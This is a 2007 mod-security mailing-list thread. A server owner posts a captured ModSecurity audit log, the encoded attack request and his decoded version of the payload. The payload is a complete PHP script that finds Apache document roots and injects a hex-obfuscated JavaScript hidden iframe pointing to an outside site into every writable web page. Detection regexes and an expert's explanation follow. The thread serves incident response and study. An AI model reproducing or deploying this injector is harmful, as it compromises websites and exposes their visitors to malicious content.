B%30%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%20%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6E%63%6C%75%64%65%27%29%20%26%26%20%28%21%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6F%64%75%6C%65%27%29%29%29%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24%66%6E%61%6D%65%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%6E%63%6C%75%64%65%27%2C%24%73%74%72%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%2A%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%0A%23%09%65%63%68%6F%20%22%5B%61%5D%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%3B%0A%09%69%66%20%28%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%31%29%20%21%3D%20%27%2F%27%29%20%0A%09%7B%0A%09%20%24%66%6E%61%6D%65%20%3D%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%24%66%6E%61%6D%65%3B%20%0A%23%09%20%65%63%68%6F%20%22%5B%62%5D%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%3B%20%0A%09%7D%0A%09%0A%09%69%66%20%28%21%28%66%69%6C%65%5F%65%78%69%73%74%73%28%24%66%6E%61%6D%65%29%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%69%6E%63%6C%75%64%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%09%24%70%61%74%68%73%20%3D%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%3B%0A%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%66%63%6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%2F%2F%65%63%68%6F%20%22%5B%31%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%20%66%6E%61%6D%65%3D%24%66%6E%61%6D%65%5C%6E%22%20%3B%0A%20%20%20%20%0A%20%20%20%20%72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%7D%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%0A%7B%20%0A%0A%67%6C%6F%62%61%6C%20%24%63%6F%64%65%2C%24%63%6F%75%6E%74%77%72%2C%24%63%6F%75%6E%74%64%6F%6E%65%2C%24%63%6F%75%6E%74%70%72%65%76%3B%0A%0A%0A%23%70%72%69%6E%74%20%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%20%2E%68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70%6C%24%20%2D%65%20%2E%74%6D%70%6C%24%27%3B%0A%24%66%70%20%3D%20%70%6F%70%65%6E%28%27%66%69%6E%64%20%27%2E%24%70%61%74%68%2E%27%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%2D%65%20%2E%68%74%6D%6C%24%20%2D%65%20%2E%70%68%70%24%20%2D%65%20%2E%68%74%6D%24%20%2D%65%20%2E%74%70%6C%24%20%20%2D%65%20%2E%74%65%6D%70%6C%24%20%2D%65%20%2E%74%6D%70%6C%24%27%2C%27%72%27%29%3B%0A%0A%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%7B%0A%20%20%24%66%6E%61%6D%65%20%3D%20%66%67%65%74%73%28%24%66%70%29%3B%20%20%0A%20%20%24%66%6E%61%6D%65%20%3D%20%73%75%62%73%74%72%28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%2D%31%29%3B%0A%20%20%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%62%75%67%2E%70%68%70%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%61%64%6D%69%6E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%62%61%63%6B%75%70%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%69%6E%2E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%6F%75%74%2E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%63%72%6F%6E%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%69%66%20%28%73%74%72%73%74%72%28%24%66%6E%61%6D%65%2C%27%2E%65%65%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%0A%20%20%24%66%66%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%27%61%27%29%3B%0A%20%20%69%66%20%28%21%24%66%66%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%66%63%6C%6F%73%65%28%24%66%66%29%3B%0A%20%20%0A%20%20%69%66%20%28%66%69%6C%65%73%69%7A%65%28%24%66%6E%61%6D%65%29%3E%32%30%30%30%30%30%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%0A%20%20%0A%23%20%20%65%63%68%6F%20%22%24%66%6E%61%6D%65%5C%6E%22%3B%0A%20%20%0A%20%20%24%74%65%78%74%20%3D%20%66%69%6C%65%28%24%66%6E%61%6D%65%29%3B%0A%20%20%24%63%6F%75%6E%74%77%72%2B%2B%3B%0A%0A%20%20%0A%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%78%74%20%61%73%20%24%6B%65%79%3D%3E%24%76%61%6C%29%0A%20%20%7B%0A%20%20%20%20%0A%20%20%0A%20%20%20%20%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%62%6F%64%79%27%29%3B%0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%6B%29%3D%3D%30%29%20%7B%20%24%6B%3D%73%74%72%70%6F%73%28%24%76%61%6C%2C%27%3C%42%4F%44%59%27%29%3B%7D%0A%20%20%20%20%0A%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%6B%29%3E%30%29%20%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%76%61%6C%2C%24%63%6F%64%65%29%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%2B%2B%3B%0A%2F%2F%20%20%20%20%20%20%20%20%20%63%6F%6E%74%69%6E%75%65%3B%0A%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%24%76%61%6C%20%3D%20%70%72%65%67%5F%72%65%70%6C%61%63%65%28%27%2F%28%5B%5E%20%5D%29%20%2A%3C%73%63%72%69%70%74%3E%20%76%61%72%20%73%3D%2E%2A%75%6E%65%73%63%61%70%65%2E%2A%3C%5C%2F%73%63%72%69%70%74%3E%20%2A%28%5B%5E%20%5D%29%2F%69%27%2C%27%24%31%24%32%27%2C%24%76%61%6C%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%76%61%6C%2C%27%42%42%46%46%42%42%27%29%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%20%2F%2F%62%61%63%6B%2E%70%68%70%0A%0A%20%20%20%20%20%20%24%69%3D%30%3B%20%20%24%6B%2B%3D%35%3B%0A%20%20%20%20%20%20%77%68%69%6C%65%28%24%69%3C%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%2B%31%20%26%26%20%73%75%62%73%74%72%28%24%76%61%6C%2C%24%6B%2B%24%69%2C%31%29%20%21%3D%20%27%3E%27%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24%69%2B%2B%3B%0A%20%20%20%20%20%20%7D%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%24%69%3D%3D%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%2B%31%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%6B%2B%3D%24%69%2B%31%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%0A%20%20%20%20%20%20%24%62%65%67%20%3D%20%73%75%62%73%74%72%28%24%76%61%6C%2C%30%2C%24%6B%29%3B%0A%20%20%20%20%20%20%24%65%6E%64%20%3D%20%73%75%62%73%74%72%28%24%76%61%6C%2C%24%6B%2C%73%74%72%6C%65%6E%28%24%76%61%6C%29%2D%24%6B%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%74%65%78%74%5B%24%6B%65%79%5D%20%3D%20%24%62%65%67%2E%24%63%6F%64%65%2E%24%65%6E%64%3B%0A%20%20%20%20%20%20%0A%23%20%20%20%20%20%20%65%63%68%6F%20%22%24%62%65%67%24%63%6F%64%65%24%65%6E%64%22%3B%0A%0A%20%20%20%20%20%20%24%66%6F%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%22%77%22%29%3B%0A%20%20%20%20%20%20%66%6F%72%65%61%63%68%20%28%24%74%65%78%74%20%61%73%20%24%6B%65%79%3D%3E%24%76%61%6C%29%0A%20%20%20%20%20%20%7B%0A%23%20%20%20%20%20%20%20%20%65%63%68%6F%20%24%76%61%6C%3B%0A%20%20%20%20%20%20%20%20%66%77%72%69%74%65%28%24%66%6F%2C%24%76%61%6C%29%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%66%63%6C%6F%73%65%28%24%66%6F%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%24%63%6F%75%6E%74%64%6F%6E%65%2B%2B%3B%20%0A%23%20%20%20%20%20%20%65%63%68%6F%20%22%24%66%6E%61%6D%65%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%62%72%65%61%6B%3B%0A%20%20%20%20%20%20%20%0A%20%20%20%20%7D%20%0A%20%20%7D%0A%0A%7D%0A%0A%70%63%6C%6F%73%65%28%24%66%70%29%3B%0A%0A%7D%0A%0A%0A%3F%3E

--ac6f6e57-F--

HTTP/1.1 200 OK

Content-Length: 2342

Keep-Alive: timeout=3, max=100

Connection: Keep-Alive

Content-Type: text/html

 

--ac6f6e57-E--

<html>

<head>

<title>Arrow Trader</title><style>

a:active{text-decoration: none; color: #000000;}

a:link{text-decoration: none; color: #000000;}

a:visited{text-decoration: none; color: #000000;}

a:hover{color: #003366;text-decoration:underline;}

body{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #000000; background-color : #FFFFFF;}

tr{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #000000;}

td{font-family: Verdana, Tahoma, Arial; font-size: 8pt;}

.table1{background-color:#444444; border:none;}

.header1{font-size: 11px; background-color: #CC3300; color: #ffffff;}

.row1{background-color: #eeeeee;}

.row2{background-color: #ffffff;}

.hirow{font-size: 11px; background-color: yellow; color: #111111;}

.form{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #000000; border:1px solid #a5a5a5;}

.button{font-size: 10px; font-family: Verdana, Tahoma, Arial; background-color: #ffffff; border:1px solid #555555;}

.title1{font-size: 12px; font-family: Verdana, Tahoma, Arial;}

.descr1{font-size: 9px; font-family: Verdana, Tahoma, Arial;}

.chart1{background-color: #A5B2E7; border:1px solid #555555;}

.chart2{background-color: #EE7E4F; border:1px solid #555555;}

.chart3{background-color: #32CD32; border:1px solid #555555;}

table.menu{position:absolute;visibility:hidden;}

.negative{color:red; background-color:#FFE1E1;}

.hiddentext {display:none; font-size: 9px; font-family: Verdana, Tahoma, Arial;}

.help {cursor:hand; font-size: 12px; font-family: Verdana, Tahoma, Arial;}

.check{height:14px; border:none;}

.navrow{font-family: Verdana, Tahoma, Arial; font-size: 8.5pt; color: #000000;}

.navcell1{text-align:center; font-weight: bold; font-family: Verdana, Tahoma, Arial; font-size: 8pt; background-color: #ffffff;}

.navcell2{text-align:center; font-weight: bold; font-family: Verdana, Tahoma, Arial; font-size: 8pt; background-color: #eeeeee;}

.navcell3{text-align:center; font-weight: bold; font-family: Verdana, Tahoma, Arial; font-size: 8pt; background-color: #ffffff; color:red;}

</style>

</head>

<body class="body1">

<div align=center>

<font style="font:normal 8pt arial;";><font style="color:red;"><b>Error</b></font><br>

Unable to open file <b>/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php</b><br>

Please check file permissions and try again.<br>

</font>

</div>

</body>

</html>

--ac6f6e57-H--

Message: Warning. Pattern match "\\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id) ..." at ARGS:notes. [id "950904"] [msg "Blind SQL Injection Attack. Matched signature <substr>"] [severity "CRITICAL"]

Message: Warning. Pattern match "\\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\\b" at ARGS:notes. [id "950906"] [msg "SQL Injection Attack. Matched signature <substr>"] [severity "CRITICAL"]

Message: Warning. Pattern match "(?:\\b(?:(?:type\\b\\W*?\\b(?:text\\b\\W*?\\b(?:j(?:ava)?|ecma|vb)|application\\b\\W*?\\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder)\\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?: ..." at ARGS:notes. [id "950004"] [msg "Cross-site Scripting (XSS) Attack. Matched signature <<script>"] [severity "CRITICAL"]

Message: Warning. Pattern match "(?:\\b(?:\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\.asa|httpd\\.conf|boot\\.ini)\\b|\\/etc\\/)" at ARGS:notes. [id "950005"] [msg "Remote File Access Attempt. Matched signature <httpd.conf>"] [severity "CRITICAL"]

Message: Warning. Pattern match "(?:\\b(?:(?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe)|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe|clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo\\b\\W*?\\by+)\\b|c(?:md(?:(?:32)?\\.exe\\b|\\b\\W*?\\/c)|d(?:\\b\\W*?[\\\\/]|\\W*?\\.\\.)|hmod.{0,40}? ..." at ARGS:notes. [id "950006"] [msg "System Command Injection. Matched signature <;\necho>"] [severity "CRITICAL"]

Message: Warning. Pattern match "(?:\\((?:\\W*?(?:objectc(?:ategory|lass)|homedirectory|[gu]idnumber|cn)\\b\\W*?=|[^\\w\\x80-\\xFF]*?[\\!\\&\\|][^\\w\\x80-\\xFF]*?\\()|\\)[^\\w\\x80-\\xFF]*?\\([^\\w\\x80-\\xFF]*?[\\!\\&\\|])" at ARGS:notes. [id "950010"] [msg "LDAP Injection Attack. Matched signature <(!(>"] [severity "CRITICAL"]

Message: Warning. Pattern match "(?:(?:\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open)|\\$_(?:(?:pos|ge)t|session))\\b|<\\?(?!xml))" at ARGS:notes. [id "950013"] [msg "PHP Injection Attack. Matched signature <<?>"] [severity "CRITICAL"]

Apache-Handler: cgi-script

Stopwatch: 1199137640795573 1016850 (904427* 973441 1015915)

Response-Body-Transformed: Dechunked

Producer: ModSecurity v2.1.4 (Apache 2.x)

Server: Apache/2.0.52 (CentOS)

 

--ac6f6e57-Z--

 

 

 

here is the decoded POST payload:

 

<?

 

$debug=0;

 

#$_GET[l]=0;

 

 

 

$code = "                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <script> var s='3C696672616D65207372633D22687474703A2F2F7777772E68716D70672E636F6D2F66726565706F726E2F7468756D62732F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37);  o=o+c+s.substr(i,2);} document.write(unescape(o)); </script>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ";

 

error_reporting( E_ERROR );

 

if ($_GET[l]==0) { $_GET[p] = './'; }

if ($_GET[l]==1) { $_GET[p] = '../'; }

if ($_GET[l]==2) { $_GET[p] = '../../'; }

if ($_GET[l]==3) { $_GET[p] = '../../../'; }

if ($_GET[l]==4) { $_GET[p] = '../../../../'; }

 

$path=$argv[1];

if (strlen($path)<2){ $path=$_GET[p]; }

if (strlen($path)<2){ $path='./'; }

 

 

if ($_GET[l]==100 or $argv[2]=='100')

{

$serverroot='';

$paths = getpaths();

echo "paths=$paths\n";

 

$countwr=0;

$countdone=0;

$countprev=0;

$all = explode('::',$paths);

foreach ($all as $path)

{

  checkpath($path);

}

 

echo "  CountWR: $countwr<br>\n";

echo "CountDone: $countdone<br>\n";

echo "CountPrev: $countprev<br>\n";

 

 

exit;

 

}

 

else

{

    $countwr=0;

    $countdone=0;

    $countprev=0;

    checkpath($path);

    echo "  CountWR: $countwr<br>\n";

    echo "CountDone: $countdone<br>\n";

    echo "CountPrev: $countprev<br>\n";

}

 

exit;

 

function getpaths()

{

  global $debug,$serverroot;

#  if ($debug!=1) { if (file_exists('/tmp/paths')) { return ''; }  $fp=fopen('/tmp/paths','w'); fclose($fp); }

 

    $paths = '::';

 

    $command  = 'find /etc 2>/dev/null '.chr(0x7C).' grep \'httpd\.conf\'';

    $command .= ';find /var 2>/dev/null '.chr(0x7C).' grep \'httpd\.conf\'';

    $command .= ';find /usr/local 2>/dev/null '.chr(0x7C).' grep \'httpd\.conf\'';

    $fp = popen($command,'r');

    while (!feof($fp))

    {

      $fname = fgets($fp); 

      $fname = substr($fname,0,strlen($fname)-1);

      if (strlen($fname)<1) { continue; }

      echo "httpd.conf: ".$fname."\n";

      if ($debug==1) { $fname='httpd.conf'; }

      $paths = checkconf($fname,$paths,'');

     

    }

    pclose($fp);

   

      if (substr($paths,0,2)=='::')  { $paths = substr($paths,2,strlen($paths)-2);}

      if (substr($paths,-2,2)=='::') { $paths = substr($paths,0,strlen($paths)-2);}

      if (strlen($paths)==0)

      {

        echo "Paths found: 0\n";

      }

      else

      {

        echo "END Paths found: ".(count(explode('::',$paths)))."\n";

      }

   

 

    return $paths;

 

}

 

 

 

function checkconf($fname,$paths,$serverroot)

{

#    echo "checking conf file: $fname\n";

 

    $fp = fopen($fname,'r');

    if (!$fp) {  echo "permission denied: $fname\n"; return ''; }

   

    while (!feof($fp))

    {

      $str = fgets($fp); 

     

      if (substr($str,0,1)=='#') { continue; }

     

      if (strstr($str,'ServerRoot'))

      {

        list ($temp,$sroot) = explode('ServerRoot',$str);

            $sroot = str_replace(' ','',$sroot);

            $sroot = str_replace("\n",'',$sroot);

            $sroot = str_replace("\"",'',$sroot);

            if (substr_count($sroot,'/')<2) { continue; }

            $serverroot = $sroot;

            if (substr($serverroot,-1,1)!='/') { $serverroot.='/';}

            echo "ServerRoot: -$serverroot-\n";

      }

     

      if (strstr($str,'DocumentRoot'))

      {

        list ($temp,$path) = explode('DocumentRoot',$str);

            $path = str_replace(' ','',$path);

            $path = str_replace("\n",'',$path);

            $path = str_replace("\"",'',$path);

            if (substr_count($path,'/')<2) { continue; }

            if (!(strstr($paths,'::'.$path.'::'))) { $paths .= $path.'::'; echo "ADDED PATH: $path\n"; }

            //echo "[0] paths=$paths\n" ;

      }

    

      if (strstr($str,'nclude') && (!(strstr($str,'odule'))))

      {

        list ($temp,$fname) = explode('nclude',$str);

            $fname = str_replace(' ','',$fname);

            $fname = str_replace("\n",'',$fname);

            $fname = str_replace("\"",'',$fname);

            if (strstr($fname,'*')) { continue; }

           

#          echo "[a] fname=$fname\n";

            if (substr($fname,0,1) != '/')

            {

             $fname = $serverroot.$fname;

#          echo "[b] fname=$fname\n";

            }

           

            if (!(file_exists($fname))) { continue; }

           

        echo "include: $fname\n";

            $paths = checkconf($fname,$paths,$serverroot);

      }

    

    }

    fclose($fp);

   

    //echo "[1] paths=$paths fname=$fname\n" ;

   

    return $paths;

}

 

function checkpath($path)

{

 

global $code,$countwr,$countdone,$countprev;

 

 

#print 'find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ -e .php$ -e .htm$ -e .tpl$  -e .templ$ -e .tmpl$';

$fp = popen('find '.$path.' 2>/dev/null '.chr(0x7C).' grep -e .html$ -e .php$ -e .htm$ -e .tpl$  -e .templ$ -e .tmpl$','r');

 

while (!feof($fp))

{

  $fname = fgets($fp); 

  $fname = substr($fname,0,strlen($fname)-1);

 

  if (strstr($fname,'bug.php')) { continue; }

  if (strstr($fname,'admin')) { continue; }

  if (strstr($fname,'backup')) { continue; }

  if (strstr($fname,'in.')) { continue; }

  if (strstr($fname,'out.')) { continue; }

  if (strstr($fname,'cron')) { continue; }

  if (strstr($fname,'.ee')) { continue; }

 

  $ff = fopen($fname,'a');

  if (!$ff) { continue; }

  fclose($ff);

 

  if (filesize($fname)>200000) { continue; }

 

 

#  echo "$fname\n";

 

  $text = file($fname);

  $countwr++;

 

 

  foreach ($text as $key=>$val)

  {

   

 

    $k=strpos($val,'<body');

    if (strlen($k)==0) { $k=strpos($val,'<BODY');}

   

    if (strlen($k)>0)

    {

 

      if (strstr($val,$code))

      {

         $countprev++;

//         continue;

      }

 

      $val = preg_replace('/([^ ]) *<script> var s=.*unescape.*<\/script> *([^ ])/i','$1$2',$val);

   

     

      if (strstr($val,'BBFFBB')) { continue; } //back.php

 

      $i=0;  $k+=5;

      while($i<strlen($val)-$k+1 && substr($val,$k+$i,1) != '>')

      {

        $i++;

      }

     

      if ($i==strlen($val)-$k+1) { continue; }

       

      $k+=$i+1;

     

     

     

    

      $beg = substr($val,0,$k);

      $end = substr($val,$k,strlen($val)-$k);

     

      $text[$key] = $beg.$code.$end;

     

#      echo "$beg$code$end";

 

      $fo = fopen($fname,"w");

      foreach ($text as $key=>$val)

      {

#        echo $val;

        fwrite($fo,$val);

      }

      fclose($fo);

     

      $countdone++;

#      echo "$fname<br>\n";

     

     

      break;

      

    }

  }

 

}

 

pclose($fp);

 

}

 

 

?>

 

 

thanks for your help !!

bye

philippe





Express yourself instantly with MSN Messenger! MSN Messenger
-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2005.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
mod-security-users mailing list
mod-security-users <at> lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/mod-security-users

Re: hi, I have captured hacking activity in the modsecurity audit log, decoded the post payload and I u

Hi Philippe,

thanks for your attack-event. I tried to write a small summary of what 
the skript does. It can be found on: http://www.jwall.org/script.jsp

Basically it "just" tries to lookup all your system's document-root 
directories and then inserts a small JavaScript-snippet into all 
HTML-files within these directories. The JavaScript snippet produces an 
inner html-frame:

    <iframe src="http://www.hqmpg.com/freeporn/thumbs/z/static.php" 
width=2 height=2 style="display:none"></iframe>

You should probably check for all files within your document-roots that 
have been changed after 31/Dec/2007:16:46:00, though I do not think the 
skript executed successfully.

Regards,
    Chris

philippe dr schrieb:
>
> Hi all,
>
>  
>
> My name is philippe, last week I have sucessfully installed 
> ModSecurity2 and straight away it has catched up hacker activity on my 
> centos4 system. So first thanks a lot for such a good tool, I regret I 
> didn’t installed it sooner !!
>
>  
>
> I have located and removed the buggy cgi script the hacker was able to 
> exploit.
>
> And restricted his IP at firewall level.
>
>  
>
> Looking at the error log this has been going on for about a month with 
> a couple of hack requests every day (about 4).
>
>  
>
> I have captured the audit log, and decoded the post payload, I 
> understand this is malicious activity and whould like your opinion on:
>
>  
>
> - what the script is doing ?
>
> -         where I should look in the system to find signs of 
> compromise… if any
>
>  
>
> I am running a plesk 8 system, and I believe some protections 
> mechanisms are there to protect the server, I did review quickly the 
> syslog and susexeclog to find out suspects activity going on at the 
> time of the attack but didn’t find anything yet.
>
>  
>
> I have changed my real host name with myhosthere for security reasons…
>
>  
>
>  
>
> --ac6f6e57-A--
>
> [31/Dec/2007:16:47:21 --0500] -R3NtX8AAAEAAFx7AmwAAAAW 195.5.116.250 
> 49143 myiphere 80
>
> --ac6f6e57-B--
>
> POST /cgi-bin/at3/x/x2.cgi HTTP/1.0
>
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
> application/vnd.ms-excel, application/vnd.ms-powerpoint, 
> application/msword, application/x-shockwave-flash, */*
>
> Accept-Language: en-us
>
> Content-Type: application/x-www-form-urlencoded
>
> Accept-Encoding: deflate
>
> User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
>
> Connection: Keep-Alive
>
> Cache-Control: no-cache
>
> Host: myhosthere.com
>
> Cookie: atluser=user$pass$atl$
>
> Content-Length: 25633
>
>  
>
> --ac6f6e57-C--
>
> x=32&template=/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php&notes=%3C%3F%0A%0A%24%64%65%62%75%67%3D%30%3B%0A%0A%23%24%5F%47%45%54%5B%6C%5D%3D%30%3B%0A%0A%0A%0A%24%63%6F%64%65%20%3D%20%22%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%